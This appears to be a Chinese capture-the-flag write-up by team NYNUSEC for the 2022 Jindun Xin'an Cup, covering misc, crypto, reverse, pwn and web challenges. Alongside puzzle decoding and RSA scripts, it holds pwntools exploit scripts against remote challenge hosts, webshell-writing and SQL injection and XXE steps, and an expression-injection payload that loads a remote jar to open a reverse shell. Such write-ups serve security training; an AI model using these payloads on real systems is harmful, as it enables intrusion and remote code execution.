参赛WP · 2022年12月19日

2022年第四届金盾信安杯WriteUp

一、 战队信息

战队名称:NYNUSEC

二、 解题情况

三、 解题过程

注:以下所有内容为比赛题目答案及解析,不涉及其他方面,仅做解题方法分享

MISC

Misc-数据泄露01

根据提示在github上搜素项目名拼音hongxiangjiao,找到项目。

scrubbers.py文件中存在泄露

Misc-数据泄露02

超级密码,在一篇博客园中的帖子中出现

Misc-数据泄露03

Key在知乎某作者的分析文章中出现

Misc-**学海无涯**

发现是图片base64,但是少了一个头部信息,添加上之后解码的得到图片

然后用010打开图片

在最后发现一个压缩包和一个字符串

用foremost分离压缩包

解压发现需要密码,所以对pass进行解码

编码为xxencode解码得到压缩包密码:stydy_happy_study_happy_study

然后解压缩包得到txt,内容如下:

111111000101100001000000000000001110111110100100011100110001100000010111111110100101111001011010010010100110010101111011111101011001010111011111010111110100110010010001110010010111101100111011011000111111011011010110110101111100101101100010001101101111111010011010101011011001101101010000000010111011111100101010101000111100100011000000000000000000000000000

然后根据提示解flag

得到flag:flag{今夜阳光明媚}

Misc-**qiandao0_Sudoku**

根据提示,将数独转换成01字符串

011100110111010101100100001100000110101101110101010111110110011001110101010011100

然后转成字符串

file

得到flag:flag{sud0ku_fuN}

Misc-**Megumi**

根据题目描述 我记得她好像加入了什么同人游戏社团

然后根据图片找到《路人女主的养成方法》,然后根据这个名字找到了同人社团的名字

社团名为:blessing software

根据提示guess猜测是outguess隐写

所以以社团名为key解outguess隐写

得到flag:flag{Megumi-Kato}

Misc-**盗梦空间**

打开得到密文:PB5CMZCPGU7GSJKNJRDUQYJFMZJE24BSIR3TGI3TJ55FGQ2GERJGIWDAJBHTK2BVIFIDKNZ2LJKFKND2L5QX42B6HJJFA7LLLBHUE4S5MZTDYTRTLFAHUVBMFN5SWQLLLZRWQ6SHO5CTMXRYKV5FMLSCLEUWSWBQJI2VGOR4JE5UYUKQPRXTWJLUJB3TWVKZFM3F6WTRJYRFC432KVEC4ILYKRTTCQTFKBWTAYSNN5XTE2TKMBSHWNSFNQQVURCZO55G6OZUFNKSIOJRGA2EYYKOMJMXK3TYIB4UWZLRJ54GUTLWFJWEWTLKMR6TKJSHOUYWMKS7IUUWMMDXL5QUC2KJEQWE4R2VFJCQ====

然后看着像base32用basecrack跑一下

然后继续跑解base91->base64->base85->base16

得到 7D6E654D6E416E616954676E694A69654265766F4C497B67616C66

解十六进制

得到:}neMnAnaiTgniJieBevoLI{galf

然后反转一下得到flag:flag{ILoveBeiJingTianAnMen}

Crypto

Crypto-**rand**

下载题目附件解压,发现是一个py脚本

然后打开分析

可以看出这题是根据系统当前时间生成一个随机数种子,然后根据这个种子来产生随机数,然后将得到的随机数与已知的flag进行异或得到了加密之后的密文881235169941718345882433419366

题中也给定了系统的时间是2022-12-10 10:30:50

所以只需要根据这个时间来生成随机数种子就可以得到flag所异或的数字是多少了

所以得到flag:flag{659480394773869512498389750739}

Crypto-**simpleR**

这题很明显也是一个rsa,但是给定的e比较小所以可以使用小e攻击

这题没有给定n和pq,所以可以假定n为1

然后得到明文M之后转换成字符串即可

flag:flag{efd90a18-7601-11ed-ac93-44af28a75237}

Crypto-**RRSSAA**

这题很明显也是rsa

所以直接解就是了,解的时候根据两个e和c分两种情况,得到两个d然后分别求明文

这里发现两个明文一样所以flag就是:flag{m-co-pr1m3}

脚本如下:

from gmpy2 import gcd, invert, powmod

from Crypto.Util.number import long_to_bytes

p= 123458435421261543472541524199731235574048053128601592828113156858256897602409067025674231465244054181972626266583815939142097971979228583114373452753144521115603696730578184251357134599421315099599143482519027549135311948601114584919768962463801005587816375776795616009077822359851656097169247116759791793687

q= 97276963771653114294115524925680580949385827322024790734418230303283861043696849155355518555652095559285163994241670550744000225618126658988929239870027266570376465899405972982196485923500560008192041570421590766719044249315069438249987024660117501456707638758202318116109860915440658403715058758393977149729

e1= 2333

c1= 3091063916228464455521357922299851945733179824012337598325935431151534388234889582934719097957211574031506425780821664489121712504278835046257494105641946435467664631146730786295351188439182841680768531937382787335943965667714937822280848763425350089235645289384375623655179569897238696408868150422651859781815376696756981788347283996647604511187607188051598692339333337644956875630361418916795600637518633591481197783209020148212167599700531242494401774503456200889355439781332887736926823527200546226966803759767490748143939212274369822333951327997518975975960530675198444178464821237247544413301735105551687502988

e2= 23333

c2= 3020828772115226887000015133333821282592051548686903232559679837758040530392014545308146746971372113818852623844807332306519066119345705458457237902473211958279079988876840270162881686132679217898982958235064386584289972304614458185165683014776410738885399792032602501638437880558924737680288329872135075375340246371405482850885777367009879733890398886462506917356919767329145462495699851367240387357485822078838863882442289942481376842591016730244281710044592948116573144325447524357995553176271890557769659239135878101020400056503293673886968120697821156927485992635172356908737486318910095798432613528160497925715

n = p*q
phi = (p-1)*(q-1)
d1 = invert(e1,phi)
print(long_to_bytes(powmod(c1,d1,n)))
d2 = invert(e2,phi)
print(long_to_bytes(powmod(c2,d2,n)))

Crypto-**小菜一碟**

是rsa,直接解

得到flag:flag{TheFIFAWorldCupQatar2022}

脚本如下:


from gmpy2 import gcd, invert, powmod
from Crypto.Util.number import long_to_bytes
p= 159303842369547814925693476555868814571858842104258697105149515713993443203825659998652654127374510196025599003730143012113707484839253123496857732128701609968752699400092431858926716649428960535283324598902169712222454699617671683675932795780343545970625533166831907970102480122242685830820463772025494712199
q= 172887845783422002789082420254687566789308973977854220003084208506942637236520298084569310184947609392615644191634749946917611949170216103380692838274627779684269566710195695515000492922000964163572308396664983937642827715821977706257150587395323556335081542987902463903436949141288429937432819003811354533477
e= 19999
c= 15176702963665501922403999221895690215282504333559191936777611319802899006788248557279808041449600021838150559750953924442905812928090845724972302802437464578850548068341807388913597120410841772162320682183999897958037105171055839318049584110106368746019307718322196559113348222485399508199250407930454163630320204931310511881428526650112302088935473691025195368688328619506405195638348814876023324965555774105055157166629768444387302211760448217666053342945412276047036106026882600555168611384975424201854134312678053294600373283558738680924405596407956073538019064806588050349192904553467435863806385634189342027395
n = p*q
phi = (p-1)*(q-1)
d = invert(e,phi)
print(long_to_bytes(powmod(c,d,n)))

Crypto-天生我才必有用

打开文本,文本内容是一串-号连接的数字,按-号隔开,依次异或文件名

目测是栅栏,直接根据语序排序得到flag

Flag:flag{少年强则国强}

Reverse

Reverse-tea

逆向签到,标准xxtea,直接网上找个脚本,换换数据就OK

#include <stdio.h>

#include <stdlib.h>

#include<iostream>

#define DELTA 0x9E3779B9

using namespace std;

int main()

{

    unsigned int v[9] = { 0x6456DD95, 0x2A41FD67, 0xAFE574A5, 0x4BFA8D72, 0xE2BF316F, 0x166B34BD, 0x6232283A, 0x4A1A8794,0xD591779B};
    unsigned int key[4] = {0x5571CB4E,0xC38A9D2F,0x1D835B62,0x93C3DC19};
    unsigned int sum = 0;
    unsigned int y,z,p,rounds,e;
    int n = 9;  //
    int i = 0;
    rounds = 6 + 52/n;
    y = v[0];
    sum = (rounds*DELTA)&0xffffffff;
     do                //0x9E3779B9*(52/35)-0x4AB325AA,测试来要循环7次
     {
        e = sum >> 2 & 3;
        for(p=n-1;p>0;p--)    //34次循环
        {
            z = v[p-1];
            v[p] = (v[p] - ((((z>>5)^(y<<2))+((y>>3)^(z<<4))) ^ ((key[(p^e)&3]^z)+(y ^ sum)))) & 0xffffffff;
            y = v[p];
        }
        z = v[n-1];
        v[0] = (v[0] - (((key[(p^e)&3]^z)+(y ^ sum)) ^ (((y<<2)^(z>>5))+((z<<4)^(y>>3))))) & 0xffffffff;
        y = v[0];
        sum = (sum-DELTA)&0xffffffff;
     }while(--rounds);
    for(i=0;i<n;i++)
    {
        for(int j = 0; j < 4; j ++)
         {
         cout << (char)(v[i]&0xff);
         v[i] = v[i] >> 8;
        }
    }
    return 0;
}

Flag:flag{3430DF69-C220-40F9-9667-2B8C4A2FE6E9}

Reverse-篮球巨星

这题连蒙带猜做出来的。

在jinitaimei.dat中拿到密文

ilFiM+tNpLCVWMApTM9mMvO0ODrSHvNJSFQiBbTsGS9n+yEhkkSV9KQuRDpXRabNu79mceR/USI5GPQl/uTf6wDjjItVqj3smkrK04BmhMw=

在so文件中发现是aes加密

密钥是g_flag,g_flag的值可以从这里得到

上图的前16位

解aes

得到

DC53A962E102ED4CB271380BB9F60E00E045A85AE733E55FAE71220BA5CF1D22E675

然后回到apk中,看rg.a加密

写解密脚本

得到flag

Flag:flag{Two_Years_Half_Chang_Tiao_Rap_LanQ}

PWN

login

在memcpy之后绕过auth对长度的判断,和correct中对input的值判断即可

所以exp如下

from pwn import *  
import base64  
context.log_level = 'debug'  
correct_addr = 0x0804925f  
input_addr = 0x0811eb40  
r = remote("59.110.213.14",44228)  
p = base64.b64encode(flat(0xdeadbeef, correct_addr, input_addr))  
r.sendlineafter('Authenticate : ', p)  
r.interactive()  

wtf

my_fgets避免了gets函数的简单溢出问题。但是该函数仍可以绕过。

该函数第一个参数是字符串数组的地址,第二个参数是长度。获取输入使用了read每次读取一个字符,如果遇到了换行符则结束函数,返回已经输入的长度。

整数溢出绕过对长度的判断,避免被截断成32长度。

根据python的脚本再把payload转为16进制为脚本提供payload即可

from pwn import *  
import time  
context.log_level = 'debug'  
win_addr = 0x004005f4  
r = remote("59.110.213.14",48295)  
p = flat(b'-1' + b'\n' * 4094 + b'A' * 0x38 + win_addr + b'\n')  
r.sendlineafter('payload please : ', p.hex())  
print(r.recvall())  

w**eb**

Web-**EzPHP**

进去后发现光秃秃的,没什么有用的信息,扫下目录发现bak文件

下载审计后发现file_put_contents函数,但是很多可以命令执行的函数都被ban了。。(我已知的除了反引号和usort都被ban了,本想着在这两个上面做文章,可以传上去后发现没有回显。。)

上面的下划线可以用 [ 来代替

去网上查file_put_contents函数是可以用php伪协议来写的,同时也可以编码去绕过过滤,但只有rot编码可以通过长度的限制,,

但奇怪的是这样执行依然没数据回显。。

但可以用蚁剑链接,拿到flag

Web-**eZphp2**

进去后根据提示找到源码,审计后发现大体上和第一道题没差,但在传参数时加了前缀和更加严格的长度限制。并且把 <?php 、flag 等字符串给ban掉了,下划线绕过跟上题一样,然后用=代替php, 写马

蚁剑连接

找出flag

Web-**S**ql

基本原题,php编写的某cms 漏洞复现(http://www.hackdig.com/07/hack-724362.htm)

爆数据库

爆表

查flag

用right关键字函数去查另一半

Web-**有来无回**

根据提示访问xxe.php,提示盲打

测试了下果然没有回显,但可以报错

想到我们可以构建外部实体让他报错回显

参考(https://blog.csdn.net/hackzkaq/article/details/123376415

服务器上构造实体(dtd),去读取flag

然后题目传payload 成功读取并报错

Web-**反败为胜**

查看源代码发现进行了RC4加密并且给出了密钥

解密后发现为php反序列化

需要ser_code的值为FLAG。但他在wakeup方法中又给该变量赋了空值,需要序列化后修改变量数目去绕过

构造pop

需要注意private前面是有两个 %00 的,还有修改变量的数目

成功打通

Web-**Skip**

下载源码审计后,去谷歌上查发现有类似题,,,

原题(https://satoooon1024.hatenablog.com/entry/2022/11/17/SECCON_CTF_2021_Quals_Writeup

)

构造py脚本直接打flag

Web-**不可思议**

根据hint跟题目提示发现源码,审计后发现和前几天复现过的 SPEL注入远程加载类文件RCE有点像,

参考文章(https://xz.aliyun.com/t/9245#toc-9)

把恶意类文件打包成jar放到服务器上

然后 在 /SetMVEL 传入payload

Payload: {"exp":"new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(\"h\"+\"ttp://43.132.251.28/Exp.jar\")}).loadClass(\"Exp\").getConstructors()[0].newInstance(\"x.x.x.28:6666\")","limit":"1"}

成功反弹shell